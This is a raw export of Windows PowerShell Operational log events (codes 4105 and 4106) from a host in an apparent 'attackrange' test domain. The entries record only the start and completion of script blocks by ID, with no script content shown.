OpCode=On create calls
RecordNumber=2034112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034103
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034102
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034101
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034100
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034084
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034083
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034078
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034077
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
